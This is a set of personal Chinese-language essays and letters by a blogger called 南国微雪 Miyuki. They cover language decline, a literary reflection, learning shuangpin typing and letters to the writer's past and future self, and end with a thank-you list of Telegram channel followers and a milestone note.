　　我以前就很害怕，《现代汉语词典》一次次地再版和删改，会不会有哪一天极端到只剩下我们日常生活中的常用字词。我更害怕，到时候会不会还有所谓的专家跳出来说：“那些词日常生活中根本就用不到，汉字也应接受自然选择，删掉无可厚非。”

　　那会是一种怎样的悲哀。

　　如果说这种未来大概率不会实现，那我们现在呢？

　　《现代汉语词典》一共再版 7 次，这一次次之间，删掉了多少无人问津但本身异常美好的词？又有多少字词因为大众的错误读写，索性将错就错而惨遭毒手？这些词会就此淹没在历史长河，结束自己的命运吗？

　　作为文化结晶一部分的成语，命运似乎更加惨淡。成语词典一版比一版薄就可见一斑。只是无人注意罢了。

　　归根到底，是除去汉语研究者和语文教师等与汉语相关者以外，根本就没有人研究这不能赚钱的东西罢了，费力还不讨好。于是这宝石的光芒几近被风沙埋没。

　　有多少国人知道“昶”字怎么读？又有几人知道其字义是“永昼”？“懿”的字义有“美好”？

　　有多少国人至今“的，地，得”的用法没有搞清楚过，随意混用？

　　有多少国人，打着“你懂就行了”的口号，明知道是错别字却不改？

　　有多少国人文章一长就极其厌烦？

　　汉语的退化约莫就体现在这上面。

　　“你是怎么样的，汉语就是怎么样的。”我无比赞同这句话。


　　去听一听《横竖撇点折》和《生僻字》吧，去翻翻词典吧。

　　它们会告诉你，你司空见惯，习以为常的汉字，究竟可以有多美。


　　南国微雪 Miyuki

　　2019 年 12 月 13 日

蕴愈彼此，共渡红尘

　　初阅《浮生六记》，就慕名其梦恋般的爱情。章一闺房记乐未尝舍得一阅，竟搁浅至此。今朝无事，闲来捧读。即刻则为沈复与芸娘的纯瑕之恋所感动。

　　世间怎有如此兰心蕙质的女子，似乎人间所有的美好都应归属于她。大抵是这爱情过于梦幻罢，争得天神慕妒，于是早早拆离，阴隔阳离，让人为之扼腕。

　　私以为，这两人间的感情又岂是爱情这惹满红尘的词可以形容的？

　　于是留在脑里的，只余了一件件小事后，两人心灵间超逸浮漂的千丝千缕，不着一尘的素净美好。而这些，也是非日常琐事不能体现的。

　　用情至深如芸娘，离别子女至于大病一场；疼妻护爱如沈复，想尽办法让芸娘舍封建拓视野；深知情意两相知，芸娘痴于为夫纳妾。而芸娘素来娇弱多病，三白也未尝离她半寸。

　　芸沈夫妇也疏于世间案眉，他们之间多了许多诗词之清雅，风景的旷美。吟诗作对，夫唱妇随，遇见山水清秀之时也只消笑视一眼，身边佳人自然会懂。

　　诗词，琐事，日常，山水。

　　情话，对视，缠绵，恋人。

　　红颜与妻子。

　　君子与丈夫。

　　或许这就是我望也望不到，忘也忘不了的情深闲逸的爱情吧。


　　南国微雪 Miyuki

　　2019 年 9 月 15 日

通往优秀的路上，痛苦是一种试炼

　　知道双拼这种东西存在，是因为我的兄长。彼时我的电脑刚回来，他为我进行设定。因为他自己打双拼习惯了，于是在我电脑上打全拼很别扭。

　　皱了皱眉，让我去了解双拼，并没有强迫我学，而是给了我学习的自由。

　　一来二去，就瞄上了小鹤双拼。

　　双拼是一种把声母和韵母拆开，分别放在 26 键上的一种打字法。也就是说，任何汉字都能通过按两个键打出来。比如“光”，全拼要按 guang 五个键位，而小鹤双拼只需要按 gl 两个键位。

　　当然双拼模式有很多，比如微软的自然码等等，在此就不多于赘述。

　　因为 Windows 10 系统并不自带小鹤双拼，所以我还要自己搜寻把小鹤双拼写入系统的解决方案。对于怕麻烦的我来说，这，是一种挑战。

　　前话有点长，不过重点来了。

　　在刚接触的那两天，我过得极为痛苦。记哪个键位代表什么，这是必须要学的，比如 v 代表 zh，p 代表 ie，l 代表 uang 和 iang。但这不是最为煎熬的。

　　那段时间有很多人和我聊天，其中有我在意的女孩子。但因为刚接触双拼，所以打字极慢，经常性地打着打着哪个字不知道怎么打了，去翻看键位表，一小段话会花很久时间。有时候她会怪我回复太慢。

　　种种催化剂让我几乎想要放弃，想着：不学双拼也没什么，全拼照样打。但我的灵魂和不服输又拽着我，勒着我，在我耳畔轰炸：这么点小东西就放弃，你还想在哪里出人头地？

　　我最终还是挺了下来。

　　那段时间手机和电脑输入法都是双拼，只为了练习。

　　第一天过去了。键位模模糊糊能记住，但有个别会忘。BPM（Beat Per Minute，每分钟节拍数/敲击数）20。

　　第二天过去了。键位记忆清晰，但需要短暂时间反映。BPM40。

　　后来逐渐增加到 50，60，每 10 个的增加都是一种跨越和欣喜。现在 BPM 多少我已没有再去测试，但是基本打字不成问题。

　　我现在最大的问题是不能盲打，以及并不能完全做到马上反映键位，还需要在大脑中以极短的时间翻译键位。

　　其实说实话，我并不觉得打字时间缩短能给我带来多么大的好处，我只觉得这次的学习经历，给了我很大的信心。

　　就像上面所说的那样：

　　学习的过程很痛苦，但结果很让人欣喜。

　　记得看到过这么一句话：

　　逃避不了的痛苦，那就去享受吧！


　　那么，亲爱的陌生人，你愿意以这种疼痛去换取这种结果吗？

　　不必告诉我，

　　我想，

　　在你们的心里，

　　大概已经有了答案。


　　南国微雪 Miyuki

　　2019 年 8 月 26 日

赠与

所有写给特定人或特定人群的文字，收录于此。

所有实体信件内容不予收录。

致五年后自己的一封信

写在前面

2920 字 | 自我 | 信件 | 时间 | 祝愿 | 认知 | 生活

有开始，就一定有结束。

如果说，致三年前自己的回信，是为了 9 月 16 日的开始；

那么，这封信，就是为了致敬那个 10 月 11 日的结束。

正文

南国微雪 亲启：


　　五度春秋，漫长若冬。愿函启时，君安如春。

　　这封信我不知道如何提笔。寥寥几语不够，闲言絮辞太多。虽然之前做过数次寄往未来之事，但这封最难。工作之后，是漫长的四五十年，而这是第一封。

　　你的学生时代，在我这里就已经终止了。

　　遗憾至此，甚不知如何宽慰。或许这也是我写于你的理由吧——我至今仍在怀念。怀念那些纯粹的关系，那些可爱的人，那些疯狂的事情，和那些青春的岁月。


　　自然，第一个话题，便是社会与工作。

　　目前处境，你应略有所知。你的第一份工作，坐落在银行。这是你从未想过的结果。你素来讨厌金融机构，和万千劳动人民一样，总认为银行的人是一帮西装革履的混蛋。

　　你在烟台毕业旅行时，曾听到店家对着工商银行的人工客服发火，叫他们不要再无缘无故打来电话。那时候我想，原来很多人们和自己一样，平等地讨厌着每个金融机构。

　　爱好变为工作，爱好便不再是爱好。而当钱成为工作处理的对象，钱也便不再是钱了。从这种意义上，我总觉得，金融从业者与赌徒无异——金钱仅仅成为一个数字和符号，而非汗水和奖励。

　　我不知道你现在身处哪行，但我希望不要是金融。INFJ 的性格也完全不适合这个行业。

　　目前为止从业金融的两个月，学到的最有用的金融知识，竟还是从童话里得知的：钱不要存在银行里。当初的你很疑惑，但后来你想起与父亲的那段经历。压岁钱，六千。自七岁开始存在银行里，至今已经十五年，利息两百。这期间物价翻了几番。银行的储蓄远远抵消不了通货膨胀，你终于明白。而那本童话最初的阅读动力，只是因为你置身这个行业，觉得该了解些什么。

　　这算是金融业对你的最大馈赠吧。

　　而真正置身于社会时，纵然只是一小面，你也感受到了与学生时代完全的不同。例如交办的任务过于困难，或者过于麻烦，导致完全不想动。学生时代可以抛回老师，甩手不干，但是工作中只能一点一点咬着牙解决。不仅如此，忙碌程度也天上地下。

　　时至今日，五年前的你仍然习惯在工作中保持沉默。不会说话，也害怕祸从口出。

　　我很讨厌应酬，说一些言不由衷、恭维的话。这坚定和加速了你想要跳出这个行业的决心。

　　我希望你已经做到了。

　　我一直觉得社会不该这样，人情到一种病态的地步。我们的生活应该给双向奔赴的人，而非逢场作戏八面玲珑的人。辨别一个演员的真假，读懂一座城府的内心，难道不会让人害怕吗？公事私事，公域私域，泾渭分明应该是更好的方式，我真诚地这样认为。

　　如果说社会让现在的我学到了什么，那只能是：残忍地去面对。因为逃不了，最终总会找上门来。我不知道那时候，你会不会有新的感悟。

　　我希望你有一个能让你满怀热忱的工作，起码不会厌恶；我希望你在社会的磨练中，学到一些以前不以为然，现在却刻骨铭心的道理；然后，我希望你被社会淘尽后，仍坚持着自己那些看起来可笑的原则和底线。

　　社会达尔文主义，既不社会，也不达尔文主义。这是应试教育荼毒，希望你能慢慢丢掉它，在社会中找到自己的位置，然后，享受生活，用力地爱那些给你温暖和力量的人。


　　于是，来到第二个话题，情感。

　　这是一个很宏大的命题，而你应再熟悉不过。有人笑说，你应去开一个情感相谈室。但熟悉与否归一码，我们真正了解它吗？

　　不可否认，我在遇到很多情感问题时，也犹如困兽。或许这并不是你了解它，而只是因为，在大多数时候，我们有一个旁观者的视角。

　　所以，对感情之事，我总半信半疑。

　　不想讨论恋爱。你我都被恋爱伤透了心。并且，我所有的朋友，近段时间绝大多数都受此困扰。分手、复合、思念、困扰与成长，各种情况都有。我不清楚为什么大多人为此趋之若鹜，犹如斯德哥尔摩综合征。

　　看到这里时，你 27 岁。我不知道你有没有遇到那个人，但这无关紧要。那个爱情为天的小男孩，已经长大了。如果有幸，尽情享受就好；如果没有，为了自己的理想和坚持，奔走在路上，也是一种幸福，甚至大于世俗情爱。

　　**我希望你仍然珍重朋友。**朋友在五六年前对你产生了巨大的影响。他们带你一起看更宽更广的世界，带你领略更多从未体验的事情；带你领会生活的美好。他们从不期望什么，只是享受当下。而当你想回馈点什么，他们只有诧异。

　　好笑又现实。

　　世人追逐爱情的欲念，我只有一个猜测：或许人们只是渴望一种安全感。在自己深陷泥潭的时候，能毫不羞愧、理直气壮地向那个人求助，而对方又因道德约定无法拒绝。这种安全感足够让人疯狂。我现在不需要这些，我不知道五年后你是否需要。

　　人总会变，但无论变成什么样子，我只希望你有个原则和底线。


　　接着，第三个，便是关于性格。

　　工作抹去了你很多时间，我真的不清楚你是否会发生大的性格转变。或许一件事情就能，或许终生都不能。我对此未知，还有些不安。因为我觉得自己现在这样挺好的。

　　“自我”一直是一个争论不休的哲学命题，我相信存在主义哲学家让-保罗 · 萨特的想法：“自我总是存在于未来当中，在我们活着的时候，自我从来就未真正存在过。直到死亡，自我才真正地存在与凝固。”我不期望你永远不变，只要你在变好就可以——无论这个过程有多么缓慢。

　　我记得杜小姐曾说过，她现在这样的性格全仰仗她的祖母。祖母给了她很多爱与温柔，自打她记事起，她就知道，无论她什么时候回家都可以，祖母永远在家里等着她。

　　“当我祖母去世之后，我可能到时候就会像变了一个人，到时候你不要奇怪。”她说。

　　我想成为这样的人。并非接受爱意的那一方，而是给人力量的那一方。

　　我一直行走在这条路上：发表文章，教人跳舞，为人解决技术问题，讲授自己所知道的全部知识，帮助朋友走出情感困境。不过这还不够。

　　我不知道自己还能坚持多久，我只是怀着这股热忱。尼采说他是太阳，但他并不是，他最后发了疯。我不想发疯，或许有一天，只是或许，我会停下来吧。

　　我还有很多想要传达出去的东西：救赎、感动、真诚、信任、深情、背叛、拥抱、欲望、死亡、堕落、思考、挣扎、哭泣、笑容、颤栗、深吻、梦想、制度、改变、行动、满足、热爱、坚持、命运与悬而未决的等待……

　　每当深夜，我深深地思考这些命题，我都发现他们如此深刻，非故事或行动不能表达。**我一直坚信着，坚信我在传达这些深刻的同时，我也会变得深刻。**在我长久地倦怠之前，我会一直行动下去。

　　我很期待见到你，见到或许性格已经地覆天翻的你。


　　最后，第四个话题，请务必珍重身体。

　　健康是一切改变的基石。只是苟延残喘完成不了任何事情。如果 Survive 都成问题，Live 绝无可能。对于见证过重要之人大病的你，我想应该无需再提醒。

　　请务必保重身体。


　　在回复三年前的我之后，我执笔写下对你的愿望与期许。我曾玩笑说，三年前的我，也许可以问问你有没有什么大的变化。两个人中间，是八年的时间。人生最多十个八年。三年前的我，与现在的我，变化令人欣喜，也让人惊讶。我坚信五年之后，也是如此。

　　我还有很多想要吐露的话题，但那些琐事无关要紧。

　　我期待有一天，自己面前能出现一个陌生人。他能摸着我的头说：“你已经很努力了，你以后会遇见更美好的事情。”

　　而那些说不完的琐事，就等你我见面时，欢痛畅饮时再说吧。

　　我们，一醉方休。

　　行文至此，悉数掷笔，未尽之事，来日再叙。


此致

　　衷祈：

时来命济　冬冽梅香

星眸犹昼　如水温柔


　　南国微雪 Miyuki

　　2023 年 10 月 10 日

封面图

摄影师 | Liam Truong

图源 | Unsplash

致三年前自己的回信

写在前面

4553 字 | 信件 | 成长 | 自我 | 认知 | 朋友 | 生活

推荐前置阅读：给三年后自己的一封信

正文

南国微雪　敬览：

　　三度春秋，已定过往。未见其人，惟见笔书。墨以一笺，聊作回复。


　　如你所见，之后三年，信件格式愈加精雕细镂，启禀辞和问候语也显繁复华丽。但这不重要。重要的是，在你写下那些一个个满怀期待的方块字之后——我，未来的你，确实发生了重大而深刻的改变。

　　那变化地覆天翻，甚至于改变了原来一直执拗的信念。那是否是信念，我不知道，但那确实是一种坚持。这未免有些让人心生不安，但你无需担心。

　　因为，你总可以相信你内心最深的愿望：努力地变好，成为一个阳光开朗的大男孩，知足且上进，温柔而坚定。

　　从那之后，发生了太多太多值得书写、铭记、欢笑和感动的事件。但愿那些文字，冥冥中发挥了祈愿的作用。而这些事件中，有许多你期望的，想要的和惊喜的东西。那么，就让我们开始吧。


　　第一，长跑。

　　我想以你会最不可思议的事情开始，这件最合适。

　　你执笔之时，不理解为什么会有人热爱奔跑，更不理解那些人为什么执着于将左右脚重叠迈进四万甚至八万次。你甚至对于奔跑这件事极为痛苦：为了能在赛场上陪着灵，选择了一同奔跑，体质却差到跑一段距离就要横穿操场；为了通知室友父亲去世的消息一路狂奔，却差点倒在路上；为了体育不挂科和朋友一起刷里程，自己心脏狂跳却仍只能看着别人超过自己快一圈；难受得快哭出来，却仍要咬牙跑完现在看仅仅 2 公里的距离。

　　这些都是你刻骨铭心的记忆。因为，三年后的你，仍然记得。

　　我有时候很想感谢那时和一年前的你，却害怕你认为我在奚落、讽刺或是落井下石。

　　“听说只有现在过得不好的人，才会总是向往未来。”

　　“每一个人都有一段沉默的时光，付出了很多努力却得不到结果，我们把它叫做扎根。”

　　那段时间，你沉默并压抑，甚至有人在大洋彼岸自费为你预订了一个心理咨询师。

　　那段时间跳舞很烂，去跳舞也只会有愤恨自我的想法。不喜欢玩游戏，找不到途径发泄。终于，你盯上了跑步。

　　上面的每件事都是因，而长跑是果。

　　你写下信时，大二上，而改观开始于大二下。2021 年 3 月 14 日，你写下了这样一段话：“今天早上的天气非常好，感觉不去跑步的话就有一点亏。……不知不觉跑了三公里，明明以前觉得两公里都费劲。可能自己心态在慢慢发生改变吧。”

　　你沾沾自喜于自己开始两公里，三公里，五公里，八公里，十公里。殊不知，同一时间，你面试过的，那个让你印象极深的学妹，每一学期都会来一次半马。

　　你终于在 2023 年 4 月 15 日被她无形中刺激到了。下定决心，将半马加入自己的梦想清单。彼时，你的最远距离还是 2021 年 9 月 19 日的 10.2 公里，甚至两年之内都鲜破 5 公里。

　　你知道这个目标可能非常遥远，但你不知道十公里到半马差距有多么夸张。你知道它被加入梦想清单意味着一定要执行，但是你不知道它会在这个一生的清单里躺多久。

　　你 11 公里因配速太快受过伤，15 公里因时长太长脚疼。 2023 年 6 月 14 日，你心里想着，要是今天不能完成，未来五年之内不会再有起色。

　　你最终勉强自己完成了它。那时你已经毕业了，离搬离学校只剩 4 天。

　　时至今日，我仍然很庆幸你做出了这个决定。

　　从此你不再恐惧长跑，而转身拥抱它。 而这时，你并不知道后面还有更美丽的事情即将发生。


　　第二，舞蹈与朋友。

　　从 2021 年 9 月开始，你的命运将发生转动。你会体会到一段完全不同于前半大学的时光。而 9 月，也将发生一件非常重要的事。

　　我仍记得，在此之前，舞蹈对你来说是可有可无的事。甚至说不上是备选项。那时候你跳舞确实很烂，甚至三年后的你依然如此。

　　然而，两者有质的区别：成长。

　　曾记得你大一，因为追不上赵会长教舞的节奏，从舞蹈室回了宿舍，一头倒在床上开始哭。

　　你很少哭。高中也压抑，但一个人无论如何也哭不出来。这次你哭了，还是因为舞蹈。

　　那时你从内心觉得自己很没用，很堕落。就算让我穿越回去安慰那时候的你，我也不知怎么办才好。

　　或许我只能拍拍你的肩头，说：“一切都会好起来的。”

　　对啊，一切都会好起来的。自从我被会长半绑架式地拉入这个协会，一切都好了起来。

　　你有生以来，第一次在一群朋友那里，体会到了家的感觉。没有怀疑、没有猜忌、没有勾心斗角、没有暗藏心机。你跟他们吵架，也跟他们和好。你骂了他们很多次，因为有人把伞塞到你怀里朝着大雨狂奔。你也心疼了他们很多次，因为协会人少而受尽欺负。

　　你在这里认识了很多朋友，这一件非常幸运的事。他们把你从枯燥乏味的生活里拉了出来，让向来敏感忧伤的人接受了无数前所未有的刺激。

　　“生活，原来可以这么精彩。”

　　我永远忘不了那个秘密的 21 岁生日，忘不了那群骗子推出来的生日蛋糕；也忘不了我们即将奔走生活时，那些寄托的心语；那一场场表演，一次次排练，让人听到吐的背景音乐，我也还都记得。

　　我总感觉，对于他们，我无以为馈。

　　最终，你开启了一个盛大的计划。你花了多少时间在那个秘密计划上，我记不清楚了，大抵也没人去算吧。

　　你没有什么拿得出手的东西，只有文字尚能聊表心意。你这样做了，在一个普通的周六，33 个人。而你爱的那些人，在你毕业的时候，送了你一束花。

　　一个男人，一生都不一定能收到一捧花束。

　　人需要一些钝感力，以免自作多情杞人忧天。如今，你在他们的带领下，Living in Reality。

　　朋友问我，怎么变化这么大。我笑笑说，因为他们，因为你们，还有你。

　　我一直对外说，我的大学生活，有一道分水岭，你正处于那道分水岭。


　　第三，弄丟了很多人。

　　有时候不得不承认，命运的所有馈赠，都各自有着代价，或大或小，或显或隐。

　　当你沉溺在千金难得的现实生活中时，天平自然失衡。

　　那个蛮横通知你去接受预定好的心理咨询的人，那个一边骂你笨一边还想全部教会你的人，那个时常开玩笑却认真开导你的人，你全都丢掉了。最为可惜的是，明明两个人陪伴着走了那么久，两三年之后却发现是完全不同的人。

　　“毁掉一段完美关系，最好的方式就是走得太近。” 你会深深地体会到这一点。

　　你们因为心中的父性母性抑或共性和吸引而走到一起，信任对方，花了巨大的勇气，敢于把自己组成人格的那些信念拿给对方看，然后分道扬镳。

　　于情于理会觉得难过与惋惜，但你也得知道，有些人和事情，就算挽回了，结局可能依旧相同。

　　你终会知道：成长有时是非常残酷的一件事。


　　第四，老友。

　　“朋友是枯燥乏味的生活里唯一的解药。”

　　你会在将来极为有限的时间里，认识到什么是真正重要的东西。你舍弃了大部分，只剩下了寥寥数样。

　　朋友，家人，写作，舞蹈和奔跑。恋爱不包括在内，工作也没有。

　　这些构筑了你全部的生活。老友是世界上最珍贵的东西。一路走来，走的走，散的散。仍然知悉音讯并保持联系的人，屈指可数。

　　你为了她们，计划了一场横跨两省三市的毕业旅行。遗憾的是太远，没有去吉林和南京，那里也有重要的人。

　　2023 年 5 月 18 日到 2023 年 5 月 25 日，许多第一次。第一次坐飞机，第一次看海，第一次进浙大，第一次两人共进晚餐和交流心事，第一次收到相机包，第一次与女儿拥抱……

　　只感慨时间太少，因而体验也太少。

　　我始终相信那句话：“多和旧人做新事，勿与新人做旧事。前者是上升的山路，后者是循环的泥沼。”

　　我很高兴，你也一直在执行这个理念。

　　老友所经历的时间洗练，其中的含金量，我想你自己心里最为清楚。


　　第五，恋爱。

　　这可能是三年前的你最想知道的事情。现在，有个满意的答案：你幸运地体验过一次。

　　然而，它可能与你想象得不太一样，只持续了 25 天。

　　2021 年 9 月 16 日到 2021 年 10 月 11 日。

　　你可能非常失望，事实上，直到今天我都非常失望。这件事当头棒喝敲醒了你：你不是幸运的人。

　　这件事是促成你拥抱友情的直接原因。

　　曾经，你将爱情看得比天还高。如今，一桶冷水让你认识到，你的手心很小。

　　你会越来越清楚地认识到：能直接对你产生正面影响的是爱，而不是被爱。前者能产生一系列的连锁反应：感激、付出、动力、愉快、坚定和自信，等等，而后者几乎只会有：高兴与自我肯定。

　　当然，这场昙花般的恋情并不是只有负面影响。

　　与她交往时，是迄今为止最为安心的时间。那时总觉得，自己身边多了一个非常重要的人，所以自己需要更加努力才行。内心只有上进的渴望。

　　一天晚上，朋友邀约，玩到很晚。剧本杀流程很长。我以为提前告诉她后，她会自然睡去。但凌晨零点过，她忽然问我：“回去了吗？”我奇怪：“你没有睡觉吗？明天还要上课呢。”

　　“还没有，有些担心……”

　　那一刹那，我第一反应是极度难为情，然后是愧疚。我不知道屏幕那边她的表情怎样，我只知道，那时我像一个做了坏事的孩子一般。

　　我至今都很感谢她。她教会了我感恩、愧疚、爱与被爱、交流和行动。还有很多。

　　而温柔地教我这些的人，就是那位小姐。


　　第六，性格。

　　一个宏大的话题。托人所福，变化斐然。虽不至沧海桑田，但也雕栏玉砌。

　　如今你远不如之前那样敏感多虑，这是好事。但副作用便是，对生活的感知力下降了许多。酸甜苦辣，仅己所知。

　　来时信件中提到，你害怕深交。这点有没有改变，我尚无所知。或许，从那之后没有意愿深交的人吧。不过你有了许多许多朋友，并且关系不差，虽不太深入但足以让人安心。而走得太近，总会出事。所以这一点无需担心。

　　而至于放过自己，需要认真聊聊。

　　你会放过自己，同时也不会。发生这个转变的直接原因，只是因为你学习了管理学。其中，最重要的是计划。

　　“计划总是指导人们把最稀缺的时间资源，应用到最重要的事情上，而不仅仅是严格死板地按计划执行。”

　　你学会放松，不再对闲下来感到特别罪恶，知道总是紧着弦总有一天会崩盘；你也不会过于放纵，因为你深知自己还有很多的地方需要学习与努力。

　　你终于找到了平衡。

　　人总是在成长，性格不会一成不变。甚至有时书上的一句话便能改变一直坚持的认知。不如说，人们总是在寻求这样小概率的事件。希望一本书、一个人、一句话、一件事，能将自己拖出深渊或是变得更好。

　　我不敢说自己现在的性格能不能达到当初你的期望，我只能说我仍然在前进。三年后的你，在踉踉跄跄地尝试着去融入现代社会，做一个社会人。所以，现在的模样与当初差别很大也不足为奇。

　　但你仍然可以相信那句话，那个你内心最深的愿望。

　　如果你愿意，你可以期待八年之后的你所给予你的的回应。我会对五年后的我以另一封书信寄出我的期许。我所能给予你的回应，只是：看到这一天，你会开心。


　　第七，温柔。我最想衷告的事情放在最后。

　　这是你非常非常想拥有的品质。我能理解，而且我也仍在梦想着。只是，有些时候，仅凭温柔无法推进。

　　你需要有一些勇气和血性。

　　当有更多需要你保护的人时，亦或组建家庭之后，这件事只能由你来做：明知前面有深渊，朋友或孩子仍然固执已见；你所爱的人权益被侵或受尽欺负时；前途悬而未决，需要你背水一战……

　　我知道这可能举步维艰，因为温柔与血性看起来水火不容。

　　然而，人很复杂，尖锐的矛盾能同时出现。更况，这两种性格，只要对象不同，可以共存。

　　我相信你能做到。

　　世界上没有一种性格能解决所有的事情。过于信仰某一类人，某一件事，某一种性格，某一本书，是没有思想。

　　你需要思考，需要选择，需要韧性，需要坚定。

　　所以，你仍然可以继续努力，只是不能再盲目信仰。


　　落笔至此，默然无声。我不知道再说什么好。

　　三年后的你，说与再说，大约你也不会懂。正如父母早已将人间真理耳提面命地说，幼时却仍然不以为然。

　　三年时间，说长不长，说短不短。留与你自己体验一遍，或许比千言万语来得更为有力。

　　而这也正是我最为羡慕你的一点。

　　那么，尽情享受吧。

　　叩首，再拜，伏乞，赐教，草草。


此致

　　翩颂：

雪融春至　惜夏弄秋

护人身后　如水温柔

　　南国微雪 Miyuki

　　2023 年 8 月 22 日

封面图

摄影师 | Debby Hudson

图源 | Unsplash

千人感谢祭名单

附件

感谢以下人员对本频道及频道主的陪伴与支持，名单未尽之人，同样不胜感激（排名不分先后）：

　　橙花 青月 　　　　　　　@inyourwaythatiknow

　　Meow-meow 🍓 　　　　　　　@CircuitCoder

　　Asuna 🍓

　　٩汐乀萌ｯ 　　　　　　　@Hximeng

　　Skadi 　　　　　　　@SkadiW

　　Fur Magus 　　　　　　　@Seracode

　　夏克斯

　　Tessa 特斯喵🏖 　　　　　　　@TesMeow

　　诗音 shine

　　净 丑 　　　　　　　@lx010505

　　Timicasto Index 　　　　　　　@Timicasto

　　🏁 Zhang 　　　　　　　@transparentZH

　　Kale 　　　　　　　@tsapymdelete

　　一枚昀喵 乖巧的 | 毕业了| 是只菜猫 　　　　　　　@seiuneko

　　柚姬

　　once upon a time

　　Tetracene ⌬⌬⌬⌬ 　　　　　　　@Pentacene

　　RuaYiii 　　　　　　　@RuaYiii

　　🍋土间被活埋❄️ 　　　　　　　@umr23333333

　　芋头 Leohearts 　　　　　　　@leph1art5

　　Kiritake Kumi 　　　　　　　@KiritakeKumi

　　icy pigeon 　　　　　　　@icypigeon

　　希希里 🏛 　　　　　　　@ParemoSicilia

　　Q Algas 　　　　　　　@Q_Algas

　　小言 　　　　　　　@Floating_Ark

　　Misaka 　　　　　　　@Misaka_Misaka

　　FlyingSky 　　　　　　　@FIyingSky

　　心樱 　　　　　　　@heart_sakura

　　苏梦灵 　　　　　　　@ubling

　　Κωνσταντίνος 柴可沁 　　　　　　　@MakinoSumika

　　VKs.欢声笑語⃟☈ͯ⃐[¿ 　　　　　　　@VingKs090bot

　　ねこねこ🐾ちゃん丨深見💫ひとみ 　　　　　　　@NekoNekoChan7432

　　ロリ | imbushui 　　　　　　　@vvhi_telemon

　　鍵山穂々 　　　　　　　@KagiKeyKHonoka

　　退休司机 　　　　　　　@choula

　　雪梨 　　　　　　　@flowinglight

　　希 🐟 　　　　　　　@BaiPiaoZhenXiang

　　您々 您 　　　　　　　@chaosvegetable

　　class | EVA 终了 　　　　　　　@moonvoid

　　Luciano 　　　　　　　@Fisherman78

　　特夜那丝 　　　　　　　@lyDennis

　　Zenithal 　　　　　　　@ZenithalH

　　A.C.Sukazyo Eyre 　　　　　　　@Eyre_S

　　Bi YT 　　　　　　　@BiYT_Chan

　　冬雪 　　　　　　　@moeecc

　　Cαmber 55 D 　　　　　　　@atCamber

　　小 肆 　　　　　　　@BaiXueQing

　　小凉りょう 　　　　　　　@Liang_Aqours

　　Haibara Go 　　　　　　　@Haibara_Go

　　香风 智乃 　　　　　　　@kafuunochino

　　🍋🌈 NekokoNya 猫子🐱 　　　　　　　@NekokoNya

　　Linus L 　　　　　　　@Linus0080

　　Aspigeon 　　　　　　　@Aspigeon

　　ㅤ B{NUL} 　　　　　　　@m_iow

　　杰 森 　　　　　　　@sdafasfdfas

　　FantasqueX 　　　　　　　@FantasqueX

　　球球 dex

　　dish bird 　　　　　　　@dcd1cf50e05371c6dcd1cf50e05371c

　　煋旅途 　　　　　　　@getstring

　　Amore南珂 Tomson 　　　　　　　@Amorerility

　　Piggy 　　　　　　　@PiggyMoe

　　Lin Yun 　　　　　　　@LinYunr

　　赤月 ユーイチ #毀滅世界BOT 　　　　　　　@Sekigetsu_Yuuichi_bot

　　迷迭香 　　　　　　　@Anastasia_Rosemary

　　冰喵(赛小盐的头号单推) 　　　　　　　@fakeicecat

　　永恆的星空 　　　　　　　@yhdxk

　　helen 　　　　　　　@wulalalalala

　　にゃっちゃん 貓娘•喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵喵 　　　　　　　@HATSUNEMIKU_39

　　纯小亦 　　　　　　　@chunxiaoyi

　　素手绾青丝 　　　　　　　@Isabella_Lilith

　　qwq 　　　　　　　@hasuchan

　　為了蘿莉，我說不定連fbi都能幹掉 　　　　　　　@loli_is_my_god

　　蜂绒 　　　　　　　@velvet_hive

　　Marguerite 係一隻Bot💫 　　　　　　　@MRKCh_a

　　若寒 カレンデュラ 　　　　　　　@Ca1endu1a

　　苏苏苏苏苏大姐头 　　　　　　　@TheresaQWQ

　　billchenchina | Nya! 　　　　　　　@Billchenchina

　　keyword 233 　　　　　　　@keyword233

　　红 　　　　　　　@Projekt_Red

　　Spike Ayanami 　　　　　　　@Ayanami007

　　樱井枫🍬 | HTTP/2 404 　　　　　　　@sakurai_kaede

　　赛小盐 Cyan 🌟 　　　　　　　@cyan_nyan

　　🐳 真中 あお 　　　　　　　@AoManaka

　　𝐲𝐮𝐫𝐮𝐢 　　　　　　　@resyurui

　　一只瓜 and 2 people 　　　　　　　@fruitymelon

　　ㅤ ㅤ 🌸 twoflower🌸

　　蓝言 Ⓩ 　　　　　　　@ilemonyk

　　泠歌 Ⓛ | ⓿❽❷❾ 　　　　　　　@LG_0829

　　Involution Machine🌀💻！内卷机 　　　　　　　@IM996

　　💫 不存在 　　　　　　　@donotexist_A

　　Maxel Black | 绝赞内卷中 | 看到我请让我滚去学习 　　　　　　　@maxelbk

　　鸫酱🐱 猫猫ですよ 　　　　　　　@myadestes

　　▓

　　Puci～ biu 　　　　　　　@newhua

　　韵 .

　　秋 桜 　　　　　　　@akizakula

　　💦 Aoba Satsuki `:Operation not permitted.` 　　　　　　　@nArrow_x3f

　　闇喵|超異域公主鏈接愛好者 　　　　　　　@Cygames_pcr

　　emmmmm | 小學生 　　　　　　　@SinoQv

　　天川 Amakawa 　　　　　　　@ShiroyaAmakawa

频道千人感谢祭

　　「

　　“只有用心灵才能看清事物的本质，真正重要的东西是肉眼无法看见的。”——安东尼 · 德 · 圣 · 埃克苏佩里《小王子》

　　« On ne voit bien qu'avec le coeur. L'essentiel est invisible pour les yeux. » Antoine de Saint-Exupéry « Le Petit Prince »

　　」

　　——题记

　　这一切，最初起源不过好玩。而如今，已融入我的生活。

　　高考之前，由一个技术人引领着我进入这里。彼时，会话列表一片白板，了无生趣，一如现在我手机上的 LINE。然后，TGCN 带我发现了新世界。

　　要不要自己做内容？我这样考虑着。

　　最终，2019 年 3 月 17 日，我按下了那个键。到如今一千多人，没有刷量，没有强迫，没有挽留。只是默默做着自己的东西，到了今天。

　　我知道我的阅历还不够，还很年轻，求学生涯尚未结束，一切仍方显稚嫩。

　　我知道比起其他人，我还需要成长。曾几何时，看到 hayami 的文章，满心满眼全是羡慕，看到技术 Geek 输出尽是钦佩，还有时评或现象观察的那些针砭时弊、一针见血的发言，都让我兴奋不已。

　　我深知我无法做到这样，我深知我不必要做到这样。

　　游戏《To the Moon》的女主人公曾经问过：“那么你认为这些星星是什么？”

　　“父亲告诉过我，他们是巨大、炽热而膨胀的气体。”

　　“我从未告诉任何人，但我一直认为它们是灯塔。成千上万的灯塔……闪耀着屹立在世界尽头。”

